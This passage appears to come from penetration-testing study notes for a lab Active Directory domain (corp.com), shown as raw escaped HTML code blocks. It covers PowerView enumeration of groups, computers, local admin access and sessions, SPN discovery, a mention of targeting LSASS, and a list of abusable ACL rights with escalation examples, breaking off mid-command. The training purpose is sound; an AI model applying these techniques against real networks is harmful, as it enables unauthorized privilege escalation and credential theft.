class="cl"&gt;Debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use Get-NetGroup to inspect the Sales Department and pipe the output to select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Sales Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Obtain more information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the PowerView Get-NetComputer command to enumerate computer objects in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Filter to obtain hostnames and OS versions for all domain hosts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer | select operatingsystem,dnshostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run as stephanie (important in real engagements)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\&amp;gt; Find-LocalAdminAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# What happens internally:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Try connecting to machine A&amp;#39;s SCM -&amp;gt; failed (insufficient permissions)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Try connecting to machine B&amp;#39;s SCM -&amp;gt; failed (insufficient permissions)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Try connecting to client74&amp;#39;s SCM -&amp;gt; success! (stephanie is a local administrator on client74)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Continue trying other machines...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Final output&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;client74.corp.com # Indicates administrator privileges on this machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find logged-on users on domain hosts; this requires substantial privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Normally, insufficient permissions mean the current user must access the target as an administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Alternatively, access to the SrvsvcSessionInfo registry entry on the target is required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetSession -ComputerName files04 -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VERBOSE: [Get-NetSession] Error: Access is denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetSession -ComputerName web04 -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VERBOSE: [Get-NetSession] Error: Access is denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The result above shows administrator privileges on client74, so inspect client74&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetSession -ComputerName client74&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The method above normally requires more privileges; the following method does not&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://learn.microsoft.com/en-us/sysinternals/downloads/pstools provides the suite from the official site&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It queries through the Remote Registry service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\PsLoggedon.exe \\files04&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsLoggedon v1.35 - See who&amp;#39;s logged on&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Copyright (C) 2000-2016 Mark Russinovich&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sysinternals - www.sysinternals.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users logged on locally:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;unknown time&amp;gt; CORP\jeff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Unable to query resource logons&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# When a different user is logged on and administrator access is available&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The main action is to analyze LSASS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enumerate SPNs in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L iis_service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Gather information about service accounts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetUser -SPN | select samaccountname,serviceprincipalname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup.exe web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;span class="lnt"&gt;111&#10;&lt;/span&gt;&lt;span class="lnt"&gt;112&#10;&lt;/span&gt;&lt;span class="lnt"&gt;113&#10;&lt;/span&gt;&lt;span class="lnt"&gt;114&#10;&lt;/span&gt;&lt;span class="lnt"&gt;115&#10;&lt;/span&gt;&lt;span class="lnt"&gt;116&#10;&lt;/span&gt;&lt;span class="lnt"&gt;117&#10;&lt;/span&gt;&lt;span class="lnt"&gt;118&#10;&lt;/span&gt;&lt;span class="lnt"&gt;119&#10;&lt;/span&gt;&lt;span class="lnt"&gt;120&#10;&lt;/span&gt;&lt;span class="lnt"&gt;121&#10;&lt;/span&gt;&lt;span class="lnt"&gt;122&#10;&lt;/span&gt;&lt;span class="lnt"&gt;123&#10;&lt;/span&gt;&lt;span class="lnt"&gt;124&#10;&lt;/span&gt;&lt;span class="lnt"&gt;125&#10;&lt;/span&gt;&lt;span class="lnt"&gt;126&#10;&lt;/span&gt;&lt;span class="lnt"&gt;127&#10;&lt;/span&gt;&lt;span class="lnt"&gt;128&#10;&lt;/span&gt;&lt;span class="lnt"&gt;129&#10;&lt;/span&gt;&lt;span class="lnt"&gt;130&#10;&lt;/span&gt;&lt;span class="lnt"&gt;131&#10;&lt;/span&gt;&lt;span class="lnt"&gt;132&#10;&lt;/span&gt;&lt;span class="lnt"&gt;133&#10;&lt;/span&gt;&lt;span class="lnt"&gt;134&#10;&lt;/span&gt;&lt;span class="lnt"&gt;135&#10;&lt;/span&gt;&lt;span class="lnt"&gt;136&#10;&lt;/span&gt;&lt;span class="lnt"&gt;137&#10;&lt;/span&gt;&lt;span class="lnt"&gt;138&#10;&lt;/span&gt;&lt;span class="lnt"&gt;139&#10;&lt;/span&gt;&lt;span class="lnt"&gt;140&#10;&lt;/span&gt;&lt;span class="lnt"&gt;141&#10;&lt;/span&gt;&lt;span class="lnt"&gt;142&#10;&lt;/span&gt;&lt;span class="lnt"&gt;143&#10;&lt;/span&gt;&lt;span class="lnt"&gt;144&#10;&lt;/span&gt;&lt;span class="lnt"&gt;145&#10;&lt;/span&gt;&lt;span class="lnt"&gt;146&#10;&lt;/span&gt;&lt;span class="lnt"&gt;147&#10;&lt;/span&gt;&lt;span class="lnt"&gt;148&#10;&lt;/span&gt;&lt;span class="lnt"&gt;149&#10;&lt;/span&gt;&lt;span class="lnt"&gt;150&#10;&lt;/span&gt;&lt;span class="lnt"&gt;151&#10;&lt;/span&gt;&lt;span class="lnt"&gt;152&#10;&lt;/span&gt;&lt;span class="lnt"&gt;153&#10;&lt;/span&gt;&lt;span class="lnt"&gt;154&#10;&lt;/span&gt;&lt;span class="lnt"&gt;155&#10;&lt;/span&gt;&lt;span class="lnt"&gt;156&#10;&lt;/span&gt;&lt;span class="lnt"&gt;157&#10;&lt;/span&gt;&lt;span class="lnt"&gt;158&#10;&lt;/span&gt;&lt;span class="lnt"&gt;159&#10;&lt;/span&gt;&lt;span class="lnt"&gt;160&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enumerate object permissions in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Reference permission list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll: Full permissions on object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite: Edit certain attributes on the object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner: Change ownership of the object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDACL: Edit ACE&amp;#39;s applied to object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AllExtendedRights: Change password, reset password, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ForceChangePassword: Password change for object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Self (Self-Membership): Add ourselves to for example a group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll (Full Control):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Highest permission level&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Provides full control over the object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows any operation: modify attributes, reset passwords, add to groups, and more&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: GenericAll over a user allows direct password reset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite (Write Permission):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows modification of most object attributes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Does not allow modification of sensitive attributes such as passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: modify a user&amp;#39;s scriptPath attribute to achieve code execution&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner (Change Owner):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows changing the object&amp;#39;s owner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Changing ownership to yourself can lead to full control&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: become the owner of a group and then control it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDACL (Modify Access Control):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows modification of the object&amp;#39;s access-control list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows permissions to be added or removed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: grant yourself GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AllExtendedRights (Extended Rights):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Includes special operations such as password resets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Does not include ordinary attribute-modification permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: reset a user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ForceChangePassword (Force Password Change):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A permission specifically for changing passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Does not require the original password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: directly reset the target user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Self (Self-Membership):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows adding yourself to a group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only yourself can be added&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: add yourself to a privileged group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Official reference&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Simple usage methods&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using GenericAll:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# If GenericAll is held over user UserA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user 